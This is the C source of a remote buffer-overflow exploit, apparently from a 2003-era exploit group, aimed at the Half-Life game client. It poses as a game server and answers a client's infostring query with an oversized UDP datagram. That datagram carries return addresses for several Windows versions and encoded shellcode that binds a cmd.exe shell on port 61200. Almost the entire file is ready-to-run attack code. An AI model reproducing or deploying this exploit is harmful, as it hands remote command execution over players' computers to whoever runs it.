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- /*
- * m00 Security presents
- * HalfLife client <=v.1.1.1.0 remote exploit
- *
- * binds cmd.exe shell on port 61200
- *
- * Avaiable targets:
- * 1. win2k sp3 en
- * 2. winxp nosp ru
- * 3. winxp sp1 ru
- * 4. win98 se2 (u need change shellcode)
- *
- * Bug discovered by
- * Auriemma Luigi [www.pivx.com/luigi]
- *
- * Authors:
- * d4rkgr3y [grey_1999_at_mail.ru]
- * Over_G [overg_at_mail.ru]
- *
- * U can find us at:
- * irc.wom.ru@m00
- * irc.dal.net@m00security
- *
- * PS: m00security.org will be avaiable soon ;)
- */
-
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netdb.h>
-
- #define PORT 27015
-
- char ping[0x12]=
- "\xff\xff\xff\xff\x6a\x00\x20\x20\x20"
- "\x20\x20\x20\x20\x20\x20\x20\x20\x20";
-
- unsigned char evilbuf[] =
- /* header of HalfLife udp-datagram | do not edit */
- "\xFF\xFF\xFF\xFF\x69\x6E\x66\x6F\x73\x74\x72\x69"
- "\x6E\x67\x72\x65\x73\x70\x6F\x6E\x73\x65\x00\x5c"
- /* 512 bytes for bof */
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- "AAAAAAAAAAAAAAAAAAAAAA"
- "\x5a\x5a\x5a\x5a" // EIP
- "\x90\x90\x90\x90" // payload for esp
- /* winxp/2k xored portbind shellcode */
- /* If u want to use this xsploit against win9x/ME, change shellcode to another one */
- "\x8B\xC4\x83\xC0\x15\x33\xC9\x66\xB9\xD1\x01\x80\x30\x96\x40\xE2\xFA" // decrypt
- "\x15\x7A\xA2\x1D\x62\x7E\xD1\x97\x96\x96\x1F\x90\x69\xA0\xFE\x18\xD8\x98\x7A\x7E\xF7"
- "\x97\x96\x96\x1F\xD0\x9E\x69\xA0\xFE\x3B\x4F\x93\x58\x7E\xC4\x97\x96\x96\x1F\xD0"
- "\x9A\xFE\xFA\xFA\x96\x96\xFE\xA5\xA4\xB8\xF2\xFE\xE1\xE5\xA4\xC9\xC2\x69\xC0\x9E"
- "\x1F\xD0\x92\x69\xA0\xFE\xE4\x68\x25\x80\x7E\xBB\x97\x96\x96\x1F\xD0\x86\x69\xA0"
- "\xFE\xE8\x4E\x74\xE5\x7E\x88\x97\x96\x96\x1F\xD0\x82\x69\xE0\x92\xFE\x5D\x7B\x6A"
- "\xAD\x7E\x98\x97\x96\x96\x1F\xD0\x8E\x69\xE0\x92\xFE\x4F\x9F\x63\x3B\x7E\x68\x96"
- "\x96\x96\x1F\xD0\x8A\x69\xE0\x92\xFE\x32\x8C\xE6\x51\x7E\x78\x96\x96\x96\x1F\xD0"
- "\xB6\x69\xE0\x92\xFE\x32\x3B\xB8\x7F\x7E\x48\x96\x96\x96\x1F\xD0\xB2\x69\xE0\x92"
- "\xFE\x73\xDF\x10\xDF\x7E\x58\x96\x96\x96\x1F\xD0\xBE\x69\xE0\x92\xFE\x71\xEF\x50"
- "\xEF\x7E\x28\x96\x96\x96\x1F\xD0\xBA\xA5\x69\x17\x7A\x06\x97\x96\x96\xC2\xFE\x97"
- "\x97\x96\x96\x69\xC0\x8E\xC6\xC6\xC6\xC6\xD6\xC6\xD6\xC6\x69\xC0\x8A\x1D\x4E\xC1"
- "\xC1\xFE\x94\x96\x79\x86\x1D\x5A\xFC\x80\xC7\xC5\x69\xC0\xB6\xC1\xC5\x69\xC0\xB2"
- "\xC1\xC7\xC5\x69\xC0\xBE\x1D\x46\xFE\xF3\xEE\xF3\x96\xFE\xF5\xFB\xF2\xB8\x1F\xF0"
- "\xA6\x15\x7A\xC2\x1B\xAA\xB2\xA5\x56\xA5\x5F\x15\x57\x83\x3D\x74\x6B\x50\xD2\xB2"
- "\x86\xD2\x68\xD2\xB2\xAB\x1F\xC2\xB2\xDE\x1F\xC2\xB2\xDA\x1F\xC2\xB2\xC6\x1B\xD2"
- "\xB2\x86\xC2\xC6\xC7\xC7\xC7\xFC\x97\xC7\xC7\x69\xE0\xA6\xC7\x69\xC0\x86\x1D\x5A"
- "\xFC\x69\x69\xA7\x69\xC0\x9A\x1D\x5E\xC1\x69\xC0\xBA\x69\xC0\x82\xC3\xC0\xF2\x37"
- "\xA6\x96\x96\x96\x13\x56\xEE\x9A\x1D\xD6\x9A\x1D\xE6\x8A\x3B\x1D\xFE\x9E\x7D\x9F"
- "\x1D\xD6\xA2\x1D\x3E\x2E\x96\x96\x96\x1D\x53\xC8\xCB\x54\x92\x96\xC5\xC3\xC0\xC1"
- "\x1D\xFA\xB2\x8E\x1D\xD3\xAA\x1D\xC2\x93\xEE\x95\x43\x1D\xDC\x8E\x1D\xCC\xB6\x95"
- "\x4B\x75\xA4\xDF\x1D\xA2\x1D\x95\x63\xA5\x69\x6A\xA5\x56\x3A\xAC\x52\xE2\x91\x57"
- "\x59\x9B\x95\x6E\x7D\x64\xAD\xEA\xB2\x82\xE3\x77\x1D\xCC\xB2\x95\x4B\xF0\x1D\x9A"
- "\xDD\x1D\xCC\x8A\x95\x4B\x1D\x92\x1D\x95\x53\x7D\x94\xA5\x56\x1D\x43\xC9\xC8\xCB"
- "\xCD\x54\x92\x96"
- /* end */
- "\x5C\x00"; // end of udp-HL-datagram. Do not change!
-
- char retw2ksp3[] = "\xc5\xaf\xe2\x77";
- char retwxpsp0[] = "\x1c\x80\xf5\x77"; // ntdll.dll :: jmp esp
- char retwxpsp1[] = "\xba\x26\xe6\x77";
- char retw98se2[] = "\xa9\xbf\xda\x7f";
-
- int main(int argc, char **argv) {
- int sock, sf, len, i;
- u_short port=PORT;
- struct sockaddr_in fukin_addr, rt;
- char buf[0x1000];
- printf("\n\rHalfLife client v.1.1.1.0 remote exploit by m00 Security\n");
- if(argc!=2) {
- printf("
- Usage: %s <remote_os>
-
- where os:
- 1 - win2k sp3 ru
- 2 - winxp nosp ru
- 3 - winxp sp1 ru
- 4 - win98 se2 ru (need another shellcode)
-
- ",argv[0]);
- exit(0);
- }
- if(atoi(argv[1])==1) {
- for(i=0;i<4;i++) {
- evilbuf[536+i]=retw2ksp3[i];
- }
- }
- if(atoi(argv[1])==2) {
- for(i=0;i<4;i++) {
- evilbuf[536+i]=retwxpsp0[i];
- }
- }
- if(atoi(argv[1])==3) {
- for(i=0;i<4;i++) {
- evilbuf[536+i]=retwxpsp1[i];
- }
- }
- if(atoi(argv[1])==4) {
- for(i=0;i<4;i++) {
- evilbuf[536+i]=retw98se2[i];
- }
- }
-
- if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
- perror("[-] socket()");
- exit(0);
- }
- printf("\n[+] Socket created.\n");
- fukin_addr.sin_addr.s_addr = INADDR_ANY;
- fukin_addr.sin_port = htons(port);
- fukin_addr.sin_family = AF_INET;
-
- if(bind(sock, (struct sockaddr *)&fukin_addr, sizeof(fukin_addr))<0) {
- perror("[-] bind()");
- exit(0);
- }
- printf("[+] Port %i binded.\n", port);
- sf = sizeof(rt);
- while(1) {
- if ((len = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *)&rt, &sf))<0) {
- perror("[-] recv()");
- exit(1);
- }
- printf("[+] Incoming udp datagram: ");
- for (i=0;i<=len;i++){
- printf("%c",buf[i]);
- }
- printf("\n[~] Identyfication... ");
- if(strstr(buf,"ping")) {
- printf("PING request\n[~] Sending answer... ");
- if(sendto(sock, ping, sizeof(ping), 0, (struct sockaddr *)&rt, sizeof(rt))<0) {
- perror("[-] send()");
- exit(1);
- } else {
- printf("OK\n");
- }
- continue;
- }
- if(strstr(buf,"infostring")) {
- printf("INFOSTRING request\n[~] Attacking... OK\n");
- printf("[+] Now try to connect to: %s:61200\n", inet_ntoa(rt.sin_addr));
- if(sendto(sock, evilbuf, sizeof(evilbuf), 0, (struct sockaddr *)&rt, sizeof(rt))<0) {
- perror("[-] send()");
- exit(1);
- }
- continue;
- }
- printf("unknow request\n");
- }
- close(sock);
- return 0;
- }
- // mOOOOOOOOOOOOOoooooooooooooooooooooo
-